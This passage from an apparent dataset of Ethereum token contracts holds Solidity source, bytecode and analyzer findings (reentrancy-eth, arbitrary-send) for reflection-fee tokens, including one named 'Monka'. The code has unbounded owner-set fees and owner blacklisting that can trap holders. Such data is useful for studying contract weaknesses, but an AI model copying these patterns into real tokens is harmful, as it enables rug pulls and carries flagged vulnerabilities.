}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require( amountBuy <= 13);
require( amountSell <= 15);
_totalTaxOnSell = amountBuy;
_totalSellTax = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_totalRefOnBuy = amountRefBuy;
_totalRefOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
} | 0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e14610644578063e0f9f6a01461068a578063ea1644d5146106aa578063f2fde38b146106ca578063fe72c3c1146106ea57600080fd5b806395d89b41146105955780639ec350ed146105c45780639f131571146105e4578063a9059cbb14610604578063c55284901461062457600080fd5b80637c519ffb116100f25780637c519ffb146105165780637d1db4a51461052b578063881dce60146105415780638da5cb5b146105615780638f9a55c01461057f57600080fd5b806370a08231146104ab578063715018a6146104cb57806374010ece146104e0578063790ca4131461050057600080fd5b806333251a0b116101a65780634bf2c7c9116101755780634bf2c7c9146104205780635d098b38146104405780636b9cf534146104605780636d8aa8f8146104765780636fc3eaec1461049657600080fd5b806333251a0b1461039e57806338eea22d146103c05780633e3e9598146103e057806349bd5a5e1461040057600080fd5b806318160ddd116101ed57806318160ddd1461031157806323b872dd1461033657806327c8f835146103565780632fd689e31461036c578063313ce5671461038257600080fd5b806306fdde031461022a578063095ea7b3146102705780630f3a325f146102a05780631694505e146102d957600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600b81526a1054114810d0541255105360aa1b60208201525b6040516102679190611ee4565b60405180910390f35b34801561027c57600080fd5b5061029061028b366004611e5b565b610700565b6040519015158152602001610267565b3480156102ac57600080fd5b506102906102bb366004611da7565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e557600080fd5b506019546102f9906001600160a01b031681565b6040516001600160a01b039091168152602001610267565b34801561031d57600080fd5b50670de0b6b3a76400005b604051908152602001610267565b34801561034257600080fd5b50610290610351366004611e1a565b610717565b34801561036257600080fd5b506102f961dead81565b34801561037857600080fd5b50610328601d5481565b34801561038e57600080fd5b5060405160098152602001610267565b3480156103aa57600080fd5b506103be6103b9366004611da7565b610780565b005b3480156103cc57600080fd5b506103be6103db366004611ec2565b6107f8565b3480156103ec57600080fd5b506103be6103fb366004611da7565b61082d565b34801561040c57600080fd5b50601a546102f9906001600160a01b031681565b34801561042c57600080fd5b506103be61043b366004611ea9565b61087b565b34801561044c57600080fd5b506103be61045b366004611da7565b6108b8565b34801561046c57600080fd5b50610328601e5481565b34801561048257600080fd5b506103be610491366004611e87565b610912565b3480156104a257600080fd5b506103be61095a565b3480156104b757600080fd5b506103286104c6366004611da7565b610984565b3480156104d757600080fd5b506103be6109a6565b3480156104ec57600080fd5b506103be6104fb366004611ea9565b610a1a565b34801561050c57600080fd5b50610328600a5481565b34801561052257600080fd5b506103be610abe565b34801561053757600080fd5b50610328601b5481565b34801561054d57600080fd5b506103be61055c366004611ea9565b610b18565b34801561056d57600080fd5b506000546001600160a01b03166102f9565b34801561058b57600080fd5b50610328601c5481565b3480156105a157600080fd5b5060408051808201909152600681526504150454341560d41b602082015261025a565b3480156105d057600080fd5b506103be6105df366004611ec2565b610b94565b3480156105f057600080fd5b506103be6105ff366004611e87565b610be5565b34801561061057600080fd5b5061029061061f366004611e5b565b610c2d565b34801561063057600080fd5b506103be61063f366004611ec2565b610c3a565b34801561065057600080fd5b5061032861065f366004611de1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069657600080fd5b506103be6106a5366004611ea9565b610c8b565b3480156106b657600080fd5b506103be6106c5366004611ea9565b610cd5565b3480156106d657600080fd5b506103be6106e5366004611da7565b610d13565b3480156106f657600080fd5b5061032860185481565b600061070d338484610dfd565b5060015b92915050565b6000610724848484610f21565b6107768433610771856040518060600160405280602881526020016120b8602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611648565b610dfd565b5060019392505050565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016107aa90611f39565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff16156107f5576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016107aa90611f39565b600d91909155600f55565b6000546001600160a01b031633146108575760405162461bcd60e51b81526004016107aa90611f39565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108a55760405162461bcd60e51b81526004016107aa90611f39565b60018111156108b357600080fd5b601355565b6017546001600160a01b0316336001600160a01b0316146108d857600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b0316331461093c5760405162461bcd60e51b81526004016107aa90611f39565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461097a57600080fd5b476107f581611682565b6001600160a01b038116600090815260026020526040812054610711906116c0565b6000546001600160a01b031633146109d05760405162461bcd60e51b81526004016107aa90611f39565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a445760405162461bcd60e51b81526004016107aa90611f39565b674563918244f40000811015610ab95760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107aa565b601b55565b6000546001600160a01b03163314610ae85760405162461bcd60e51b81526004016107aa90611f39565b601a54600160a01b900460ff1615610aff57600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b3857600080fd5b610b4130610984565b8111158015610b505750600081115b610b8b5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107aa565b6107f581611744565b6000546001600160a01b03163314610bbe5760405162461bcd60e51b81526004016107aa90611f39565b6001821115610bcc57600080fd5b6013811115610bda57600080fd5b600b91909155600c55565b6000546001600160a01b03163314610c0f5760405162461bcd60e51b81526004016107aa90611f39565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061070d338484610f21565b6000546001600160a01b03163314610c645760405162461bcd60e51b81526004016107aa90611f39565b600d821115610c7257600080fd5b600f811115610c8057600080fd5b600e91909155601055565b6000546001600160a01b03163314610cb55760405162461bcd60e51b81526004016107aa90611f39565b6004811115610cc357600080fd5b610ccf81610e10612040565b60185550565b6000546001600160a01b03163314610cff5760405162461bcd60e51b81526004016107aa90611f39565b601c54811015610d0e57600080fd5b601c55565b6000546001600160a01b03163314610d3d5760405162461bcd60e51b81526004016107aa90611f39565b6001600160a01b038116610da25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107aa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107aa565b6001600160a01b038216610ec05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107aa565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107aa565b6001600160a01b038216610fe75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107aa565b600081116110495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107aa565b6001600160a01b03821660009081526009602052604090205460ff16156110825760405162461bcd60e51b81526004016107aa90611f6e565b6001600160a01b03831660009081526009602052604090205460ff16156110bb5760405162461bcd60e51b81526004016107aa90611f6e565b3360009081526009602052604090205460ff16156110eb5760405162461bcd60e51b81526004016107aa90611f6e565b6000546001600160a01b0384811691161480159061111757506000546001600160a01b03838116911614155b1561149057601a54600160a01b900460ff166111755760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107aa565b601a546001600160a01b0383811691161480156111a057506019546001600160a01b03848116911614155b15611252576001600160a01b03821630148015906111c757506001600160a01b0383163014155b80156111e157506017546001600160a01b03838116911614155b80156111fb57506017546001600160a01b03848116911614155b1561125257601b548111156112525760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107aa565b601a546001600160a01b0383811691161480159061127e57506017546001600160a01b03838116911614155b801561129357506001600160a01b0382163014155b80156112aa57506001600160a01b03821661dead14155b1561138a57601c54816112bc84610984565b6112c69190612006565b1061131f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107aa565b601a54600160b81b900460ff161561138a57600a5461134090610258612006565b421161138a57601e5481111561138a5760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107aa565b600061139530610984565b601d5490915081118080156113b45750601a54600160a81b900460ff16155b80156113ce5750601a546001600160a01b03868116911614155b80156113e35750601a54600160b01b900460ff165b801561140857506001600160a01b03851660009081526006602052604090205460ff16155b801561142d57506001600160a01b03841660009081526006602052604090205460ff16155b1561148d57601354600090156114685761145d6064611457601354866118cd90919063ffffffff16565b9061194c565b90506114688161198e565b61147a611475828561205f565b611744565b47801561148a5761148a47611682565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114d257506001600160a01b03831660009081526006602052604090205460ff165b806115045750601a546001600160a01b038581169116148015906115045750601a546001600160a01b03848116911614155b1561151157506000611636565b601a546001600160a01b03858116911614801561153c57506019546001600160a01b03848116911614155b15611597576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a541415611597576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156115c257506019546001600160a01b03858116911614155b15611636576001600160a01b0384166000908152600460205260409020541580159061161357506018546001600160a01b038516600090815260046020526040902054429161161091612006565b10155b1561162957600b54601155600c54601255611636565b600f546011556010546012555b6116428484848461199b565b50505050565b6000818484111561166c5760405162461bcd60e51b81526004016107aa9190611ee4565b506000611679848661205f565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156116bc573d6000803e3d6000fd5b5050565b60006007548211156117275760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107aa565b60006117316119cf565b905061173d838261194c565b9392505050565b601a805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061178c5761178c61208c565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117e057600080fd5b505afa1580156117f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118189190611dc4565b8160018151811061182b5761182b61208c565b6001600160a01b0392831660209182029290920101526019546118519130911684610dfd565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac9479061188a908590600090869030904290600401611f95565b600060405180830381600087803b1580156118a457600080fd5b505af11580156118b8573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826118dc57506000610711565b60006118e88385612040565b9050826118f5858361201e565b1461173d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107aa565b600061173d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119f2565b6107f53061dead83610f21565b806119a8576119a8611a20565b6119b3848484611a65565b8061164257611642601454601155601554601255601654601355565b60008060006119dc611b5c565b90925090506119eb828261194c565b9250505090565b60008183611a135760405162461bcd60e51b81526004016107aa9190611ee4565b506000611679848661201e565b601154158015611a305750601254155b8015611a3c5750601354155b15611a4357565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611a7787611b9c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611aa99087611bf9565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ad89086611c3b565b6001600160a01b038916600090815260026020526040902055611afa81611c9a565b611b048483611ce4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b4991815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a7640000611b77828261194c565b821015611b9357505060075492670de0b6b3a764000092509050565b90939092509050565b6000806000806000806000806000611bb98a601154601254611d08565b9250925092506000611bc96119cf565b90506000806000611bdc8e878787611d57565b919e509c509a509598509396509194505050505091939550919395565b600061173d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611648565b600080611c488385612006565b90508381101561173d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107aa565b6000611ca46119cf565b90506000611cb283836118cd565b30600090815260026020526040902054909150611ccf9082611c3b565b30600090815260026020526040902055505050565b600754611cf19083611bf9565b600755600854611d019082611c3b565b6008555050565b6000808080611d1c606461145789896118cd565b90506000611d2f60646114578a896118cd565b90506000611d4782611d418b86611bf9565b90611bf9565b9992985090965090945050505050565b6000808080611d6688866118cd565b90506000611d7488876118cd565b90506000611d8288886118cd565b90506000611d9482611d418686611bf9565b939b939a50919850919650505050505050565b600060208284031215611db957600080fd5b813561173d816120a2565b600060208284031215611dd657600080fd5b815161173d816120a2565b60008060408385031215611df457600080fd5b8235611dff816120a2565b91506020830135611e0f816120a2565b809150509250929050565b600080600060608486031215611e2f57600080fd5b8335611e3a816120a2565b92506020840135611e4a816120a2565b929592945050506040919091013590565b60008060408385031215611e6e57600080fd5b8235611e79816120a2565b946020939093013593505050565b600060208284031215611e9957600080fd5b8135801515811461173d57600080fd5b600060208284031215611ebb57600080fd5b5035919050565b60008060408385031215611ed557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611f1157858101830151858201604001528201611ef5565b81811115611f23576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe55784516001600160a01b031683529383019391830191600101611fc0565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561201957612019612076565b500190565b60008261203b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561205a5761205a612076565b500290565b60008282101561207157612071612076565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146107f557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba8bc9a72112b892facc65a671cb5692b31af71512eab21d0d5cb22512b694f864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,111 |
0xf5c17dde392fcb60575d38482be7122deec7a016 | // SPDX-License-Identifier: dMIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Monka is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Monka";
string private constant _symbol = 'Monka';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddress, address payable marketingWalletAddress) {
_FeeAddress = feeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[feeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getTokenRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function setTaxFee(uint256 fee) external onlyOwner() {
_taxFee = fee;
}
function setTeamFee(uint256 fee) external onlyOwner() {
_teamFee = fee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(_FeeAddress).transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already enabled / opened");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2.125e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getTokenRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getTokenRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getTokenRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
